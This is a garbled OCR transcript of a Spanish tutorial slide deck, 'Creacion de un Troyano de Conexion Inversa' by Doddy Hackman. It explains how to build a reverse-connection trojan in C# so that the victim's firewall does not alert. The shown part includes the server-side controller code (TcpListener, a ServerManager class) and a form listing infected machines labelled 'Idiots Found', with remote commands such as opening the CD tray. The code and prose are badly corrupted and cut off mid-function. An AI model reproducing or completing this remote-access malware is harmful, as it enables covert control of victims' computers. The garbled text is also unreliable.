troyano csharp
Embed Size (px)
TRANSCRIPT
-
7/23/2019 Troyano Csharp
1/12
[Titulo] : Creacion de un Troyano de
Conexion Inversa
[Lenguaje] : C#
[Autor] : Doddy Hackman
[Temario]
!!!!!!!!!!!!!!!!!
"x" : Introduccion
"x"$ : Creacion del servidor
"x"% : Creacion del cliente
"x"& : 'ro(ando el )rograma
"x"* : +i(liogra,ia
!!!!!!!!!!!!!!!!!
-
7/23/2019 Troyano Csharp
2/12
"x" : Introduccion
Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la
victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute
aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos deconexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.
Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion
inversa en C# pero gracias a un ejemplo llamado !everse Connection !A" xample hecho por
x$ilent de hac%hound logre entender el funcionamiento
$abiendo todo esto vamos hacer uno en C# con &isual $tudio '()(.
Comencemos ...
"x"$ : Creacion del servidor
*rimero vamos a crear el servidor de la siguiente forma con visual studio +
Una ve creado el proyecto pongan lo siguientes namespaces al inicio del codigo +
usingSystem.Threading;// Lo usamos para poder manejar los hilos
usingSystem.Net.Sockets;// Lo usamos para poder crear la conexion
usingSystem.Net;// Lo usamos para poder crear la conexionusingSystem.Text.RegularExpressions;// Lo usamos para buscar enlos strings usando expresiones regulares
-
7/23/2019 Troyano Csharp
3/12
-espues pongan las siguientes variables gobales al inicio del codigo +
TcpListenertcpser!er;// Establecemos la !ariable tcpser!er como
TcpListenerThreadthreadser!er;// Establecemos la !ariable threadser!erThread
Ahora vamos a crear una clase llamada $erveranager con el siguiente codigo +
// Ser!er "anager// #oded $y %oddy &ackman// #redits '
// Rat $ased on ' http'//(((.hack)orums.net/sho(thread.php*tid+,-01!// Thanks to xSilent
usingSystem;
usingSystem.#ollections.2eneric;
usingSystem.Text;
usingSystem.Net.Sockets;// 3ara el manejo de sockets
usingSystem.45;// 3ara el manejo de Streams
usingSystem.6indo(s.7orms; // 3ara el manejo de )ormularios
usingSystem.Text.RegularExpressions;// 3ara el manejo deexpresiones regulares
namespaceser!er8
classSer!er"anager
8
publicTcp#lientmanager;// 9ariable global para manejar elcliente
publicstringip;// 9ariable global para tener la 43
publicdelegate!oidcargandodatos:Ser!er"anagermanagerstring"essage
-
7/23/2019 Troyano Csharp
4/12
[email protected];// 2uardamos la 43
B
manager.2etStream:
-
7/23/2019 Troyano Csharp
5/12
l formulario del servidor lo vamos hacer de la siguiente forma +
/01 ) 2ist&iew con una columna que tiene de texto 3diots 4ound y ponen la propiedad &iew en
-etails
/01 5 6otones con el siguiente texto 7nline,7penC-,Close C-
2es tiene que quedar algo asi +
Una ve hecho esto hacemos doble clic% en el primer boton llamado 7nline para poner el
siguiente codigo +
pri!ate!oidbutton@#lick:objectsenderE!entCrgse